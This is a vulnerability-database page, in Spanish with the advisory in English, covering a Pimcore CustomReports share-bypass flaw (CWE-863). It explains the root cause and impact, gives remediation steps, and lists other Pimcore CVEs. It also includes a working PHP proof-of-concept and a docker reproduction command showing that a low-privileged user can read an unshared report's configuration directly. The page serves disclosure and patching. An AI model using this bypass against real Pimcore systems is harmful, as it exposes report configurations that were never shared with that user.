Alta

Pimcore has a CustomReports Share Bypass

  • Publicada: 27.05.2026
  • Actualizado: 11.10.2026 10:22

Summary

CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.

  • The listing flow filters reports based on report-sharing rules
  • The detail flow only checks generic reports or reports_config permissions

As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.

In the local Docker reproduction:

  • The report poc-secret-report was not visible to the low-privileged user in the report list
  • The same user was still able to retrieve the report configuration directly by name

Root Cause

The listing flow in getReportConfigAction() filters reports through loadForGivenUser():

However, getAction() only checks generic permissions and then loads the report directly by name:

This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.

Impact

An attacker can read sensitive report metadata without authorization, including:

  • Report name
  • Grouping information
  • Display and icon metadata
  • Data source configuration
  • Column configuration
  • Sharing settings

From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:

This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the reports permission
  • The target report is not globally shared and is not shared with that user or the user's roles

PoC

php
<?php
declare(strict_types=1);

use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_customreports');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_customreports');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
    $auditor->setPermissions(['reports']);
    $auditor->setRoles([]);
    $auditor->save();

    $timestamp = time();
    SettingsStore::set(
        'poc-secret-report',
        json_encode([
            'name' => 'poc-secret-report',
            'niceName' => 'PoC Secret Report',
            'group' => 'Audit',
            'dataSourceConfig' => [['type' => 'sql']],
            'columnConfiguration' => [],
            'shareGlobally' => false,
            'sharedUserNames' => ['admin'],
            'sharedRoleNames' => [],
            'menuShortcut' => true,
            'creationDate' => $timestamp,
            'modificationDate' => $timestamp,
        ], JSON_THROW_ON_ERROR),
        SettingsStore::TYPE_STRING,
        'pimcore_custom_reports'
    );

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new CustomReportController(), $container, $tokenResolver);

    $listRequest = new Request();
    $requestStack->push($listRequest);
    $listResponse = $controller->getReportConfigAction($listRequest);
    $requestStack->pop();
    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $getRequest = new Request(['name' => 'poc-secret-report']);
    $requestStack->push($getRequest);
    $getResponse = $controller->getAction($getRequest);
    $requestStack->pop();
    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);

    echo json_encode([
        'vulnerability' => 'customreports_share_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_report' => [
            'name' => 'poc-secret-report',
            'shared_to' => ['admin'],
            'share_globally' => false,
        ],
        'result' => [
            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
            'listed_report_names' => $listedNames,
            'direct_get_returned_name' => $getData['name'] ?? null,
            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor_customreports with the reports permission.
  2. Create a report named poc-secret-report with:
    • shareGlobally = false
    • sharedUserNames = ['admin']
  3. As auditor_customreports, request the visible report list and verify that poc-secret-report is absent.
  4. As the same user, call getAction(name=poc-secret-report) directly.
  5. Verify that the response still contains the report configuration.

Reproduction command:

bash
cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php

Reproduction Result

Relevant PoC output:

js
{
  "vulnerability": "customreports_share_bypass",
  "user": {
    "name": "auditor_customreports",
    "permissions": [
      "reports"
    ]
  },
  "target_report": {
    "name": "poc-secret-report",
    "shared_to": [
      "admin"
    ],
    "share_globally": false
  },
  "result": {
    "report_visible_in_list": false,
    "listed_report_names": [],
    "direct_get_returned_name": "poc-secret-report",
    "direct_get_shared_user_names": [
      "admin"
    ]
  }
}

This shows that:

  • The current user cannot see the report in the visible report list
  • The same user can still retrieve the report configuration directly

This confirms that the share-bypass issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of report configuration
  • Disclosure of sharing scope and internal report structure
  • Potential leakage of data-source and query organization details
  • Useful reconnaissance for follow-on unauthorized execution or export paths

Remediation

  1. Add object-level sharing checks to getAction() equivalent to loadForGivenUser().
  2. Centralize authorization into a single "can current user access this report?" function reused by get, data, chart, create-csv, and download-csv.
  3. Return 403 for unshared reports.
  4. Add regression tests to ensure that users with reports permission but without report-sharing access cannot retrieve report details.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer pimcore/pimcore >= 12.0.0-RC1, < 12.3.6, < 11.5.17, >= 2026.1.0, < 2026.1.2 12.3.6, 11.5.17, 2026.1.2

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-863
Plataforma
Composer
Paquete
pimcore/pimcore
Publicada
27.05.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-jwcc-gv4m-93x6 - CC BY 4.0

Historial de vulnerabilidades: pimcore/pimcore

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (135) en el archivo
Entradas en total
135
Primera → última
12.2019 09.2026
Sin corrección
3
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 40
  • Media 90

Divulgaciones por año

  1. 2019: 1
  2. 2020: 0
  3. 2021: 11
  4. 2022: 43
  5. 2023: 59
  6. 2024: 3
  7. 2025: 2
  8. 2026: 16
Gravedad:
  1. Alta · 8.8 CVE-2026-55416 >= 2026.1.0, < 2026.1.6, >= 12.0.0-RC1, < 12.3.10, < 11.5.19 2026.1.6, 12.3.10, 11.5.19
  2. Crítica · 9.9 CVE-2026-55634 < 12.3.10, >= 2026.1.0, < 2026.1.6 12.3.10, 2026.1.6
  3. Alta · 8.5 CVE-2026-55072 >= 2026.1.0, < 2026.1.5, < 12.3.9 2026.1.5, 12.3.9
  4. Alta · 7.2 CVE-2026-11407 >= 12.0.0-RC1, <= 12.3.8, <= 11.5.14.1 sin corrección
  5. Alta CVE-2026-5394 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  6. Pimcore has a CustomReports Share Bypass esta entrada
    Alta CVE-2026-45704 >= 12.0.0-RC1, < 12.3.6, < 11.5.17, >= 2026.1.0, < 2026.1.2 12.3.6, 11.5.17, 2026.1.2
  7. Alta · 8.1 CVE-2026-45260 >= 12.0.0-RC1, < 12.3.7, >= 2026.1.0, < 2026.1.3, < 11.5.17 12.3.7, 2026.1.3, 11.5.17
  8. Alta · 8.0 CVE-2026-45162 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  9. Alta · 8.7 CVE-2026-44739 >= 2026.1.0, < 2026.1.2, < 11.5.17, >= 12.0.0-RC1, < 12.3.6 2026.1.2, 11.5.17, 12.3.6
  10. Alta · 8.6 CVE-2026-23493 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  11. Alta · 8.8 CVE-2026-23492 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  12. Alta · 8.1 CVE-2024-11954 >= 11.4.2, < 11.5.3 11.5.3
  13. Alta · 8.8 ghsa-hq76-662x-7mw4 >= 10.6.9.0, < 10.6.9.12, >= 11.1.0.0, < 11.1.6.11 10.6.9.12, 11.1.6.11
  14. Alta · 7.5 CVE-2024-32871 >= 11.0.0, < 11.2.4 11.2.4
  15. Alta · 7.2 CVE-2023-3820 < 10.6.4 10.6.4
  16. Alta · 7.2 CVE-2023-3673 < 10.5.24 10.5.24
  17. Alta · 8.8 CVE-2023-2338 < 10.5.21 10.5.21
  18. Alta · 8.8 CVE-2023-30850 < 10.5.21 10.5.21
  19. Alta · 8.8 CVE-2023-30849 < 10.5.21 10.5.21
  20. Alta · 8.8 CVE-2023-30848 < 10.5.21 10.5.21
  21. Alta · 8.8 CVE-2023-25240 < 10.5.16 10.5.16
  22. Crítica · 9.8 CVE-2022-39365 < 10.5.9 10.5.9
  23. Crítica · 9.8 CVE-2019-18985 < 6.2.2 6.2.2
  24. Crítica · 9.8 CVE-2019-18981 < 6.2.2 6.2.2
  25. Alta · 7.5 CVE-2019-18986 < 6.2.2 6.2.2
  26. Alta · 8.8 CVE-2019-16317 < 5.7.1 5.7.1
  27. Alta · 8.8 CVE-2019-16318 < 5.7.1 5.7.1
  28. Alta CVE-2014-2921 >= 1.4.9, < 2.2.0 2.2.0
  29. Alta · 8.8 CVE-2018-14057 < 5.3.0 5.3.0
  30. Alta · 8.8 CVE-2019-10867 < 5.7.1 5.7.1
  31. Alta · 7.5 CVE-2022-1429 < 10.3.6 10.3.6
  32. Alta · 7.5 CVE-2022-1339 < 10.3.5 10.3.5
  33. Alta · 7.5 CVE-2022-1219 < 10.3.5 10.3.5
  34. Alta · 8.3 CVE-2022-0258 < 10.2.9 10.2.9
  35. Alta · 7.8 CVE-2022-0263 < 10.2.7 10.2.7
Mostrar más (5) Mostrando 40 de 45

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.